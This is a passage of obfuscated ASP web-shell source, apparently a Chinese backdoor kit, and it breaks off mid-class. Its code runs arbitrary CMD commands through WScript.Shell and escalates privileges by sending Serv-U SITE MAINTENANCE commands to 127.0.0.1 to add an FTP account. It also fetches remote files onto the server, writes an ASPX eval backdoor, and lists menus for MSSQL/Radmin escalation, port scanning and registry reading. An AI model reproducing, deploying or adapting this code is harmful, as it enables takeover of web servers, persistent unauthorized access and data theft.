aeratxet<╁&IS=IS╋╁>dt<>dt/<>tnof/<;psbn&;psbn&径路件文个一行每>rb<;psbn&;psbn&件文个多护保时同可>wolley=roloc tnof<>rb<:径路件文的护保要需>╁╁0╁╁=eulav ╁╁avvv╁╁=eman ╁╁neddih╁╁=epyt tupni<>thgir=ngila 'xp22:thgieh-enil'=elyts pot=ngilav dt<>rt<╁&IS=IS╋╁'tsoP=2noitcA&eliForP=noitcA?╁&LRU&╁'=noitca 'tsop'=dohtem 'mroFpU'=eman mrof<╁&IS=IS╋╁>'0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<>rb<╁=IS╋fI dnE╋dnE.esnopseR╋╁>rb<>retnec/<。程进动启>a/<里这>knalb_=tegrat ╁&2ssap&╁=eliForP?╁&LRU&╁=ferh ╁╁dlob:thgiew-tnof;enilrednu:noitaroced-txet╁╁=elyts a<击点!功成成生 >tnof/<╁&2ssap&╁>wolley=roloc tnof< 程进护保>retnec<>rb<>rb<>rb<╁j╋)╁rahCA╁(tseuqer=)╁rahC╁&2ssap(noitacilppA╋)╁emiTA╁(tseuqer=)╁emiT╁&2ssap(noitacilppA╋)╁edoCA╁(tseuqer=)╁edoC╁&2ssap(noitacilppA╋)╁eliFA╁(tseuqer=)╁eliF╁&2ssap(noitacilppA╋1=)2ssap(noitacilppA╋)2ssap(esacu=2ssap╋ pool╋1mun&2ssap=2ssap╋fi dne╋ 9~0' ))84+dnr*)84-75((rhC(rtSC=1mun╋esle╋ z~a' ))79+dnr*)79-221((rhC(rtSC=1mun╋neht 4=<)2ssap(neL fi╋8<)2ssap(neL elihW oD╋╁╁=2ssap╋1mun,2ssap mid╋ezimodnaR╋nehT ╁tsoP╁=)╁2noitcA╁(tseuqeR fI╋")) +End Function + + +Function suftp() +execute(shisanfun("fi dne╋gnihton=3TSOPx teS╋)sevael(dneS.3tsoPx╋eurT ,╁sevael/╁& trop &╁:1.0.0.721//:ptth╁ ,╁TSOP╁ nepO.3tsoPx╋)╁PTTHLMX.2LMXSM╁(tcejbOetaerC = 3tsoPx teS╋flrcbv & resut & ╁=resU ╁ & flrcbv & tropt & ╁=oNtroP-╁ & flrcbv & ╁0.0.0.0=PI-╁ & flrcbv & ╁RESUETELED-╁ & sevael = sevael╋flrcbv & ╁ECNANETNIAM ETIS╁ & sevael = sevael╋flrcbv & dwp & ╁ ssaP╁ & sevael = sevael╋flrcbv & rsU & ╁ resU╁ = sevael╋esle╋)╁>RB<>rb<): ╁ & htapt & ╁ :径路 ╁ & ssapt & ╁ :码密╁ & ╁ ╁ & resut & ╁ :名户用 PTF!!行执功成令命╁( j╋gnihton=TSOPx teS╋)sevael(dneS.tsoPx╋eurT ,╁sevael/╁& trop &╁:1.0.0.721//:ptth╁ ,╁TSOP╁ nepO.tsoPx╋)╁PTTHLMX.2LMXSM╁(tcejbOetaerC = tsoPx teS╋txeN emuseR rorrE nO╋flrcbv & ╁PDCLEMAWR|\╁ & htapt & ╁=sseccA ╁ & flrcbv & ╁enoN=soitaR-╁ & flrcbv & ╁ralugeR=epyTdrowssaP-╁ & flrcbv & ╁metsyS=ecnanetniaM-╁╋_ & flrcbv & ╁0=mumixaMatouQ-╁ & flrcbv & ╁0=tnerruCatouQ-╁ & flrcbv & ╁0=tiderCsoitaR-╁ & flrcbv & ╁1=nwoDoitaR-╁╋_ & flrcbv & ╁1=pUoitaR-╁ & flrcbv & ╁0=eripxE-╁ & flrcbv & ╁1-=tuOemiTnoisseS-╁ & flrcbv & ╁006=tuOemiTeldI-╁ & flrcbv & ╁1-=sresUrNxaM-╁╋_ & flrcbv & ╁0=nwoDtimiLdeepS-╁ & flrcbv & ╁0=pUtimiLdeepS-╁ & flrcbv & ╁1-=PIrePnigoLsresUxaM-╁ & flrcbv & ╁0=elbanEatouQ-╁╋_ & flrcbv & ╁0=drowssaPegnahC-╁ & flrcbv & ╁0=nigoLwollAsyawlA-╁ & flrcbv & ╁0=neddiHediH-╁ & flrcbv & ╁0=eruceSdeeN-╁╋_ & flrcbv & ╁1=shtaPleR-╁ & flrcbv & ╁0=elbasiD-╁ & flrcbv & ╁=eliFseMnigoL-╁ & flrcbv & ╁\╁ & htapt & ╁=riDemoH-╁╋_ & flrcbv & ssapt & ╁=drowssaP-╁ & flrcbv & resut & ╁=resU-╁ & flrcbv & tropt & ╁=oNtroP-╁ & flrcbv & ╁0.0.0.0=PI-╁ & flrcbv & ╁PUTESRESUTES-╁ & sevael = sevael╋flrcbv & ╁ECNANETNIAM ETIS╁ & sevael = sevael╋flrcbv & dwp & ╁ ssaP╁ & sevael = sevael╋flrcbv & rsU & ╁ resU╁ = sevael╋nehT ╁dda╁ = )╁nottuboidar╁(mroF.tseuqer fi╋)╁dmcd╁(mroF.tseuqer = dnammoC'╋)╁tropt╁(mroF.tseuqer = tropt╋)╁htapt╁(mroF.tseuqer = htapt╋)╁ssapt╁(mroF.tseuqer = ssapt╋)╁resut╁(mroF.tseuqer = resut╋)╁tropd╁(mroF.tseuqer = trop╋)╁dwpd╁(mroF.tseuqer = dwp╋)╁resud╁(mroF.tseuqer = rsU╋╁>retnec/<>mrof/<>elbat/<>rt/<>dt/<>'1'=eulav 'noitca'=di 'neddih'=epyt 'noitcaUS'=eman tupni<>'teseR'=eulav '2timbuS'=eman 'teser'=epyt tupni<;psbn&>'oG tsuJ'=eulav 'timbuS'=eman 'timbus'=epyt tupni<>d=di '2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<>rt/<>dt/<除删定确>d=di 'xoBtxeT'=ssalc 'led'=eulav 'nottuboidar'=eman 'oidar'=epyt tupni<;psbn&加添定确>d=di 'xoBtxeT'=ssalc dekcehc 'dda'=eulav 'oidar'=epyt 'nottuboidar'=eman tupni<>d=di dt<>dt/<:务任行执>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'12'=eulav 'tropt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropt'=eman tupni<>d=di dt<>dt/<:口端务服>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'\:C'=eulav 'htapt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'htapt'=eman tupni<>d=di dt<>dt/<:径路问访>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'1'=eulav 'ssap'=di 'xoBtxeT'=ssalc 'txet'=epyt 'ssapt'=eman tupni<>d=di dt<>dt/<:令口加新>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'redavni'=eulav 'resut'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resut'=eman tupni<>d=di dt<>dt/<:号账加新>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'85934'=eulav 'tropd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropd'=eman tupni<>d=di dt<>dt/<:口端统系>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'P@0;kl.#ka$@l#'=eulav 'dwpd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'dwpd'=eman tupni<>d=di dt<>dt/<:令口统系>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'rotartsinimdAlacoL'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resud'=eman tupni<>d=di dt<>dt/<:号账统系>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>b/<息信本版成集>B< >tnof/<8>sgnidbew=ecaf tnof<>s=di '2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<>'005'=htdiw elbat<>''=noitca 'tsop'=dohtem '1mrof'=eman mrof<>rb<>retnec<╁j╋")) +End Function + + + +Function MainMenu() +j"":If ObT(0,1)=" ×" Then +j"" +Else +j"" +End If +j"" + Next + myTitle = "?Query results :     (" & rs.RecordCount & " row(s) affected)
    " + rs.MoveFirst + rs.PageSize=mNR + if int(rs.RecordCount/mNR) < mPage then mPage=1 + rs.AbsolutePage = mPage + Response.Write myTitle & "
    "&mName&"

    无权限
    " +Set ABC=New LBF:j ABC.ShowDriver():Set ABC=Nothing +#@~^vQAAAA==%r@!d1DbwY,/M^'rJ4YDwl&JfWsCk R%Z1T/mcmG:&.(RC/a_EMVxEL/+.-D j"JAx^KN`JrJ4OYa)&zr[.n$E+kORU+D7n..mDbl8VndvJuK:K{_rjPr#[.n$En/D U+.7+M.lMkm8V/cJ!DsE*#[r'wm//{E'jk+MnC/d'rJE@*@!&/1Dr2D@*Jnj0AAA==^#~@ +j"
    8 站点根目录"&ef +j cdx&""&cxd&" 本程序目錄"&ef +j cdx&""&cxd&" 回上级目录"&ef +j cdx&""&cxd&" 新建--目錄"&ef +j cdx&""&cxd&" 新建--文本"&ef +j cdx&""&cxd&" 上传--文件"&ef +j cdx&""&cxd&" 执行---CMD"&ef +j cdx&""&cxd&" 执行--CMD2"&ef +j cdx&""&cxd&" 磁盘--权限"&ef +j cdx&""&cxd&" 脚本--探测"&ef +j cdx&""&cxd&" 服务器打包"&ef +j cdx&""&cxd&" 下载--文件"&ef&"

    " +j cdx&""&cxd&" 用户__账号"&ef +j cdx&""&cxd&" 端口__网络"&ef +j cdx&""&cxd&" 组件__支持"&ef +j cdx&""&cxd&" Servu-提权"&ef +j cdx&""&cxd&" Su---FTP版"&ef +j cdx&""&cxd&" MS--SA提权"&ef +'j cdx&""&cxd&" MYSQL提权--管理"&ef 后期开发整合 MYSQL MSSQL提权 以及脱裤 +j cdx&""&cxd&" Radmin提权"&ef +j cdx&""&cxd&" Pcanywhere"&ef +j cdx&""&cxd&" 端口扫描器"&ef +j cdx&""&cxd&" 读取注册表"&ef +j cdx&""&cxd&" 搜索__文件"&ef&"" +j"
    " +j cdx&""&cxd&" 锁他妈的阴道"&ef +j cdx&""&cxd&" 一键生成不死"&ef +'j cdx&""&cxd&" 脱裤专用"&ef 后期开发整合 MYSQL MSSQL提权 +j cdx&""&cxd&" 草泥马跨目录"&ef +j cdx&""&cxd&" 菊花----保护"&ef +j"
    " +j cdx&""&cxd&" 网站权重查询"&ef +j cdx&""&cxd&" 网站同服查询"&ef +j cdx&""&cxd&" 网站收录查询"&ef +j cdx&""&cxd&" 是否处女查询"&ef +#@~^fwAAAA==%,m[X[r@!l,tMn0{B_b1YrG 'SKLW!YB,OCDT+D'vsrss.lsnB@*J'^XN[E~@!0GxD~1WsKD{oD+ @*退出O OR登陆@!Jl@*@!JYN@*@!zDD@*@!&4D@*@!JYC4sn@*J/iIAAA==^#~@ +end function +function Cmdx() +execute(shisanfun(")╁>retnec/<>aeratxet/<╁(j: lladaer.tuodts.))╁dmc╁(tseuqer&╁c/ ╁&)╁xdmc╁(tseuqer(cexe.nhltpircSo j: fi dne╋ lladaer.tuodts.))╁dmc╁(tseuqer&╁c/ exe.dmc╁(cexe.nhltpircSo j╋neht ╁exe.dmc╁=)╁xdmc╁(tseuqer fi:txeN emuseR rorrE nO:)╁ >72=swor 051=sloc ylnodaer aeratxet<╁(j:)╁ >mrof/<>'tibmuS'=eulav timbus=epyt tupni<╁(j:)╁ >rb<>06=ezis 'dmc'=eman txet=epyt tupni<╁(j:)╁ >rb<>'exe.dmc'=eulav 06=ezis 'xdmc'=eman txet=epyt tupni<╁(j:)╁ >'tsop'=dohtem mrof<>retnec<╁(j╋")) +end function + + + +Function Course() +SI="
    " +on error resume next +for each obj in getObject("WinNT://.") +err.clear +if OBJ.StartType="" then +SI=SI&"" +end if +if OBJ.StartType=2 then lx="自动" +if OBJ.StartType=3 then lx="手动" +if OBJ.StartType=4 then lx="禁用" +if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then +SI1=SI1&"" +else +SI2=SI2&"" +end if +next +j SI&SI0&SI1&SI2&"
    系统用户与服务
     "&obj.Name&" 系统用户(组)
     "&obj.Name&" "&obj.DisplayName&"
    [启动类型:"&lx&"] "&obj.path&"
     "&obj.Name&" "&obj.DisplayName&"
    [启动类型:"&lx&"] "&obj.path&"
    " +End Function +respnose.Write strBAD&Action +Function IIf(var, val1, val2) +If var=True Then +IIf=val1 +Else +IIf=val2 +End If +End Function +Function GetTheSizes(num) +Dim i, arySize(4) +arySize(0)="B" +arySize(1)="KB" +arySize(2)="MB" +arySize(3)="GB" +arySize(4)="TB" +While(num / 1024 >= 1) +num=Fix(num / 1024 * 100) / 100 +i=i + 1 +WEnd +GetTheSizes=num&" "&arySize(i) +End Function +Function HtmlEncodes(str) +If IsNull(str) Then Exit Function +HtmlEncodes=Server.HTMLEncode(str) +End Function + +function downfile(path) +execute(shisanfun("gnihton = mso tes╋esolc.mso╋hsulf.esnopser╋daer.mso etirwyranib.esnopser╋╁maerts-tetco/noitacilppa╁ = epyttnetnoc.esnopser╋╁8-ftu╁ = tesrahc.esnopser╋ezis.mso ,╁htgnel-tnetnoc╁ redaehdda.esnopser╋)zs,htap(dim & ╁=emanelif ;tnemhcatta╁ ,╁noitisopsid-tnetnoc╁ redaehdda.esnopser╋1+)╁\╁,htap(verrtsni=zs╋htap elifmorfdaol.mso╋1 = epyt.mso╋nepo.mso╋))0,6(tbo(tcejboetaerc = mso tes╋raelc.esnopser╋")) +end function +function htmlencode(s) + if not isnull(s) then + s = replace(s, ">", ">") + s = replace(s, "<", "<") + s = replace(s, chr(39), "'") + s = replace(s, chr(34), """") + s = replace(s, chr(20), " ") + htmlencode = s + end if +end function + + + + +ExeCuTe(ShiSanFun("noitcnuF dnE╋╋╁>elbat/<>mrof/<>rt/<>dt/<>'传上'=eulav 'timbuS'=eman 'timbus'=epyt tupni< >'52'=ezis 'elif'=epyt 'eliFlacoL'=eman tupni<>'04'=ezis '╁&)╁exe.dmC\╁&)╁htaPredloF╁(noisseS(htaPeRR&╁'=eulav 'htaPoT'=eman tupni<:径路传上>dt<>rt<>'atad-mrof/trapitlum'=epytcne 'tsoP=2noitcA&eliFpU=noitcA?╁&LRU&╁'=noitca 'tsop'=dohtem 'mroFpU'=eman mrof<>'retnec'=ngila '0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<>rb<>rb<>rb<╁j ╋fI dnE ╋dnE.esnopseR ╋)(rrEwohS ╋IS j ╋lrUkcaB&IS=IS ╋gnihton=U teS╋gnihton=F teS╋fI dnE ╋fi dnE ╋╁>retnec/<!功成╁&╁传╁&╁上╁&emaNU&╁件文>rb<>rb<>rb<>retnec<╁=IS ╋nehT 0=rebmun.rrE fI ╋emaNU sAevaS.F ╋eslE ╋txen emuser rorre no╋╁!传上╁&╁件文个一╁&╁择选后径路╁&╁全完的╁&╁传上入╁&╁输请>rb<╁=IS ╋neht 0=eziSeliF.F rO ╁╁=emaNU fI ╋)╁htaPoT╁(mrof.U=emaNU╋)╁eliFlacoL╁(AU.U=F teS╋ CPU wen=U teS╋nehT ╁tsoP╁=)╁2noitcA╁(tseuqeR fI ╋)(eliFpU noitcnuF")) +function cmd1shell() +execute(shisanfun("is j╋╁>mrof/<>aeratxet/<╁&)31(rhc&is=is╋fi dne╋fi dne╋aaa&is=is╋)eurt ,elifpmetzs(elifeteled.osf llac╋esolc.xclelifo╋)lladaer.xclelifo(edocnelmth.revres=aaa╋)0 ,eslaf ,1 ,elifpmetzs( eliftxetnepo.sf = xclelifo tes╋)╁tcejbometsyselif.gnitpircs╁(tcejboetaerc = sf tes╋)eurt ,0 ,elifpmetzs & ╁ > ╁ & dmcfed & ╁ c/ ╁&htapllehs( nur.sw llac╋)╁txt.dmc╁(htappam.revres = elifpmetzs╋)╁tcejbometsyselif.gnitpircs╁(tcejboetaerc.revres=osf tes╋)╁llehs.tpircsw╁(tcejboetaerc.revres=sw tes╋)╁llehs.tpircsw╁(tcejboetaerc.revres=sw tes╋txen emuser rorre no╋esle╋aaa&is=is╋lladaer.tuodts.dd=aaa╋)dmcfed&╁ c/ ╁&htapllehs(cexe.mc=dd tes╋))0,1(tbo(tcejboetaerc=mc tes╋neht ╁sey╁=)╁tpircsw╁(mrof.tseuqer fi╋neht ╁╁><)╁dmc╁(mrof.tseuqer fi╋╁>'dmc'=ssalc ';044:thgieh;%001:htdiw'=elyts aeratxet<>'行执'=eulav 'timbus'=epyt tupni< >'╁&dmcfed&╁'=eulav '%29:htdiw'=elyts 'dmc'=eman tupni╁&dekcehc&╁'sey'=eulav 'tpircsw'=eman 'xobkcehc'=epyt c=ssalc tupni<>'%07:htdiw'=elyts '╁&htapllehs&╁'=eulav 'ps'=eman tupni<:径路llehs>'tsop'=dohtem mrof<╁=is╋)╁dmc╁(tseuqer = dmcfed neht ╁╁><)╁dmc╁(tseuqer fi╋╁╁=dekcehc neht ╁sey╁><)╁tpircsw╁(tseuqer fi╋╁exe.dmc╁ = htapllehs neht ╁╁=htapllehs fi╋)╁htapllehs╁(noisses=htapllehs╋)╁ps╁(tseuqer = )╁htapllehs╁(noisses neht ╁╁><)╁ps╁(tseuqer fi╋╁dekcehc ╁=dekcehc╋")) +end function +Function upload() +j"
    " +j"暂时关闭此功能" +j" 下载到服务器:无回显...为了节省.所以无回显
    " +j"" +j"
    " +j"" +j"存在覆盖。" +j"" +j"" +j"
    " +If isDebugMode = False Then +On Error Resume Next +End If:Dim Http, theUrl, thePath, stream, fileName, overWrite +theUrl = Request("theUrl") +thePath = Request("thePath") +overWrite = Request("overWrite") +Set stream = Server.CreateObject("ad"&e&"odb.st"&e&"ream") +Set Http = Server.CreateObject("MSXML2.XMLHTTP") +If overWrite <> 2 Then:overWrite = 1:End If +Http.Open "GET", theUrl, False +Http.Send() +If Http.ReadyState <> 4 Then +End If +With stream +.Type = 1 +.Mode = 3 +.Open +.Write Http.ResponseBody +.Position = 0 +.SaveToFile thePath, overWrite +If Err.Number = 3004 Then +Err.Clear +fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/"))) +If fileName = "" Then +fileName = "index.htm.txt" +End If +thePath = thePath & "\" & fileName +.SaveToFile thePath, overWrite +j"error,可能是因为文件已存在,或下载过程和地址中出 现错误 。 文件下载完 毕为空字节!!" +End If +.Close +End With +chkErr(Err) +Set Http = Nothing +Set Stream = Nothing +If isDebugMode = False Then +On Error Resume Next +End If +If Request("ice")="fso" Then +response.Redirect str1&"test.aspx" +elseif Request("ice")="fsos" then +response.Redirect str1&"test.php" +elseif Request("ice")="jztxt" then +response.Redirect "https://"&serveru&"/global.asa" +elseif Request("ice")="killdoor" then +response.Redirect str1&"killdoor.asp" +end if +End Function:Function TSearch():dim st:st=timer():RW="
    " + RW=RW & "" + RW=RW & "" + RW=RW & "" + RW=RW & "
    搜索引擎
     路  径: 注:多路徑使用"",""号连接.
     文件名:  [部分也行]
    " + j RW : RW="" + if Request.Form("Sfk")<>"" then + Set newsearch=new SearchFile + newsearch.Folders=trim(Request.Form("SFpath")) + newsearch.keyword=trim(Request.Form("Sfk")) + newsearch.Search + Set newsearch=Nothing + j"費時:"&(timer()-st)*1000&"毫秒
    " + end if +End Function + +Class SearchFile + dim Folders,keyword,objFso,Counter + Private Sub Class_Initialize + Set objFso=Server.CreateObject(ObT(0,0)) + Counter=0 + End Sub + Private Sub Class_Terminate + Set objFso=Nothing + End Sub + Function Search + Folders=split(Folders,",") + flag=instr(keyword,"\") or instr(keyword,"/") + flag=flag or instr(keyword,":") + flag=flag or instr(keyword,"|") + flag=flag or instr(keyword,"&") + if flag then + j"

    關鍵字不能包含/\:|&
    " + Exit Function + else + j"


    " + end if + dim i + for i=0 to ubound(Folders) + Call GetAllFile(Folders(i)) + next + j"

    共搜索到"&Counter&"個結果
    " + End Function + Private Function GetAllFile(Folder) + dim objFd,objFs,objFf + Set objFd=objFso.GetFolder(Folder) + Set objFs=objFd.SubFolders + Set objFf=objFd.Files + dim strFdName + On Error Resume Next + For Each OneDir In objFs + strFdName=OneDir.Name + If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then + SFN=Folder&"\"&strFdName + Call GetAllFile(SFN) + End If + Next + dim strFlName + For Each OneFile In objFf + strFlName=OneFile.Name + If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then + FN=Folder&"\"&strFlName + Counter=Counter+ColorOn(FN) + End If + Next + Set objFd=Nothing + Set objFs=Nothing + Set objFf=Nothing + End Function + Private Function CreatePattern(keyword) + CreatePattern=keyword + CreatePattern=Replace(CreatePattern,".","\.") + CreatePattern=Replace(CreatePattern,"+","\+") + CreatePattern=Replace(CreatePattern,"(","\(") + CreatePattern=Replace(CreatePattern,")","\)") + CreatePattern=Replace(CreatePattern,"[","\[") + CreatePattern=Replace(CreatePattern,"]","\]") + CreatePattern=Replace(CreatePattern,"{","\{") + CreatePattern=Replace(CreatePattern,"}","\}") + CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") + CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") + CreatePattern="("&CreatePattern&")+" + End Function + Private Function ColorOn(FileName) + dim objReg + Set objReg=new RegExp + objReg.Pattern=CreatePattern(keyword) + objReg.IgnoreCase=True + objReg.Global=True + retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) + if retVal then + OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") + OutPut="

     " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut + j OutPut + Response.flush + ColorOn=1 + else + ColorOn=0 + end if + Set objReg=Nothing + End Function +End Class + + +execute(shisanfun("╋noitcnuf dnE:fI dnE:╁)'。下录目点站在不件文'(trela╁╁=kcilcno ╁╁###╁=lrUnepo:eslE:╁knalb_╁╁=tegrat ╁╁╁&lrUeht&╁/╁=lrUnepo:fI dnE:)2 ,lrUeht(diM = lrUeht:nehT ╁/╁ = )1 ,lrUeht(tfeL fI:)╁/╁ ,╁\╁ ,lrUeht(ecalpeR = lrUeht:)1 + )htaPeht(neL ,htaPesu(diM = lrUeht:nehT )htaPeht(esaCL = )))htaPeht(neL ,htaPesu(tfeL(esaCL fI:)╁/╁(htaPpaM.revreS = htaPeht:htaPeht ,lrUeht miD:)htaPesu(lrUnepo noitcnuf:noitcnuF dnE:fi dne:╁B╁ & eziSeht = eziSehTteg: nehT 4201< eziSeht dnA 0 => eziSeht fI:fi dne:╁K╁ & 001 / )001 * )4201 / eziSeht((xiF = eziSehTteg: nehT )4201 * 4201( < eziSeht dnA 4201 => eziSeht fI:fi dne:╁M╁ & 001 / )001 * ))4201 * 4201( / eziSeht((xiF = eziSehTteg: nehT )4201 * 4201 * 4201( < eziSeht dnA )4201 * 4201( => eziSeht fI:fi dne:╁G╁ & 001 / )001 * ))4201 * 4201 * 4201( / eziSeht((xiF = eziSehTteg: nehT )4201 * 4201 * 4201( => eziSeht fI:)eziSeht(eziSehTteg noitcnuF:noitcnuF dnE:fi dne:╁>╁╁'╁&htaPrewoP&╁=htaPrewoP&2=epyTevaS&rewoPevaS=noitcA?'=ferh.noitacol╁╁=kcilcno 定锁=eulav nottub=epyt tupni< >tnof/<定锁未>26FF26#=roloc tnof<╁ = setubirttAteg:esle:╁>╁╁'╁&htaPrewoP&╁=htaPrewoP&1=epyTevaS&rewoPevaS=noitcA?'=ferh.noitacol╁╁=kcilcno 锁解=eulav nottub=epyt tupni< >tnof/<定锁已>der=roloc tnof<╁ = setubirttAteg: neht 0=KOtidE fi:)╁\\╁,╁\╁,htaPrewoP(ecalper=htaPrewoP:fI dnE:0=KOtidE:1 - eulaVtni = eulaVtni:nehT 1 => eulaVtni fI:fI dnE:0=KOtidE:2 - eulaVtni = eulaVtni:nehT 2 => eulaVtni fI:fI dnE:0=KOtidE:4 - eulaVtni = eulaVtni:nehT 4 => eulaVtni fI:fI dnE:8 - eulaVtni = eulaVtni:nehT 8 => eulaVtni fI:fI dnE:61 - eulaVtni = eulaVtni:nehT 61 => eulaVtni fI:fI dnE:23 - eulaVtni = eulaVtni:nehT 23 => eulaVtni fI:fI dnE:46 - eulaVtni = eulaVtni:nehT 46 => eulaVtni fI:fI dnE:821 - eulaVtni = eulaVtni:nehT 821 => eulaVtni fI:1=KOtidE:KOtidE miD:)htaPrewoP,eulaVtni(setubirttAteg noitcnuF:noitcnuF dnE:eltiTrts = eltiTyMteg:)htaPrewoP,setubirttA.enOeht(setubirttAteg & ╁ :态状限权前当>rb<╁ & eltiTrts = eltiTrts:desseccAtsaLetaD.enOeht & ╁ :问访后最>rb<╁ & eltiTrts = eltiTrts:deifidoMtsaLetaD.enOeht & ╁ :改修后最>rb<╁ & eltiTrts = eltiTrts: detaerCetaD.enOeht & ╁ :间时建创>rb<╁ & eltiTrts = eltiTrts: )eziS.enOeht(eziSehTteg & ╁ :小大>rb<╁ & eltiTrts = eltiTrts: ╁╁ & htaP.enOeht & ╁ :径路>rb<╁ & eltiTrts = eltiTrts:eltiTrts miD:)htaPrewoP,enOeht(eltiTyMteg noitcnuF:bus dne:gnihtoN = eliFeht teS:)htaPrewoP,eliFeht(eltiTyMteg j:)htaPrewoP(eliFteG.Xosf = eliFeht teS:)╁╁,╁╁╁╁,htaPrewoP(ecalper=htaPrewoP:)htaPrewoP(rewoPtidE bus:bus dne:gnihtoN = eliFeht teS:fi dne:╁>tpircs/<;)(esolc.wodniw;)(daoler.noitacol.renepo.wodniw;)'。功成定锁件文'(trela>'tpircsavaj'=egaugnal tpircs<╁ j:7=setubirttA.eliFeht:esle:╁>tpircs/<;)(esolc.wodniw;)(daoler.noitacol.renepo.wodniw;)'。锁解功成已件文'(trela>'tpircsavaj'=egaugnal tpircs<╁ j:23=setubirttA.eliFeht:neht 1=epyTevaS fi:)htaPrewoP(eliFteG.Xosf = eliFeht teS:)epyTevaS,htaPrewoP(rewoPevaS bus╋")) + +Function ScReWr(folder) +execute(shisanfun("rtSrWeR = rWeRcS╋gnihtoN = OSF teS╋gnihtoN = redloFtseT teS╋gnihtoN = tsiLeliFtseT teS╋fi dnE╋fi dnE╋eurT,emaneliFdnR & redlof eliFeteleD.OSF╋╁ √>naps/<写>';xp11:ezis-tnof'=elyts naps<╁ & rtSrWeR = rtSrWeR╋eslE╋╁ >tnof/wolley=roloc '1'=ezis 'sgnidbew'=ecaf tnof<>naps/<写>';xp11:ezis-tnof'=elyts naps<╁ & rtSrWeR = rtSrWeR╋raelC.rre╋nehT rre fI╋eurT,emaneliFdnR & redlof eliFtxeTetaerC.OSF╋╁ √>naps/<读>';xp11:ezis-tnof'=elyts naps<╁ = rtSrWeR╋eslE╋fI dnE╋eurT,emaneliFdnR & redlof eliFeteleD.OSF╋╁ √>naps/<写>';xp11:ezis-tnof'=elyts naps<╁ & rtSrWeR = rtSrWeR╋eslE╋╁ >tnof/wolley=roloc '1'=ezis 'sgnidbew'=ecaf tnof<>naps/<写>';xp11:ezis-tnof'=elyts naps<╁ & rtSrWeR = rtSrWeR╋raelC.rre╋nehT rre fI╋eurT,emaneliFdnR & redlof eliFtxeTetaerC.OSF╋╁ >tnof/wolley=roloc '1'=ezis 'sgnidbew'=ecaf tnof<>naps/<读>';xp11:ezis-tnof'=elyts naps<╁ = rtSrWeR╋raelC.rre╋nehT rre fI╋txeN╋tsiLeliFtseT ni A hcaE roF╋╁pmt.╁ & )won(dnoceS & )won(etuniM & )won(ruoH & )won(yaD & ╁pmet\╁ = emaneliFdnR╋sredloFbuS.redloFtseT = tsiLeliFtseT teS╋)redlof(redloFteG.OSF = redloFtseT teS╋)╁tcejbOmetsySeliF.gnitpircS╁(tcejboetaerC.revreS = OSF teS╋emaneliFdnR,rtSrWeR,tsiLeliFtseT,redloFtseT,OSF miD╋ txen emuser rorre no")) +End Function + +function php() +execute(shisanfun("╁>rb<>mrof/<>sosf=eci&lrUmorFnwod=tcAeht&2=etirWrevo&php.tset\╁&htaptoor&╁=htaPeht&╁&tphp&╁=lrUeht&daolpu=noitcA?=noitca tsop=dohtem 2mrof=eman mrof<╁j╋╁>rb<>mrof/<>osf=eci&lrUmorFnwod=tcAeht&2=etirWrevo&xpsa.tset\╁&htaptoor&╁=htaPeht&╁&txpsa&╁=lrUeht&daolpu=noitcA?=noitca tsop=dohtem 2mrof=eman mrof<╁j╋╁>retnec<>'02'=thgieh dt<>rt<>retnec/<>a/<>tnof/<>b/<)!件文试测除删(>b<>der=roloc 5=ezis tnof<>'ledjpa=noitcA?'=ferh a<>p<>tnof/<>retnec<>rb<>p<>rb<>rb<>p<>rb<>p<>rb<>rb<>retnec/< ;psbn&;psbn&;psbn&>emarfi/<>001=thgieh 003=htdiw xpsa.tset=crs emarfi< ;psbn&;psbn&;psbn&;psbn&>emarfi/<>001=thgieh 003=htdiw psj.tset=crs emarfi< ;psbn&;psbn&;psbn&;psbn&>emarfi/<>001=thgieh 003=htdiw php.tset=crs emarfi<>retnec<╁j╋╁oo∩_∩oo tseT xpsa╁&)26(rhc&╁╁&)73(rhc&╁;))╁╁efasnu╁╁,]╁╁w╁╁[metI.tseuqeR(lave(etirW.esnopseR╁&)73(rhc&╁╁&)06(rhc&╁╁&)26(rhc&╁╁&)73(rhc&╁ ╁╁eslaf╁╁=tseuqeRetadilav ╁╁tpircsJ╁╁=egaugnaL egaP @%╁&)06(rhc&╁╁etirW.))╁xpsa.tset╁(htappam.revres(eliFtxeTetaerC.osf╋╁oo∩_∩oo tseT psJ╁etirW.))╁psj.tset╁(htappam.revres(eliFtxeTetaerC.osf╋╁>?)(ofniphp php?<>?'oo∩_∩oo' ohce PHP?<╁etirW.))╁php.tset╁(htappam.revres(eliFtxeTetaerC.osf╋))0,0(tBo(tcejbOetaerC.revreS=osf tes╋txeN emuseR rorrE nO╋")) +End function + +On Error Resume Next +function apjdel():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):j"删除完毕!":End function + +Dim T1 +Class UPC + Dim D1,D2 + Public Function Form(F) +F=lcase(F) +If 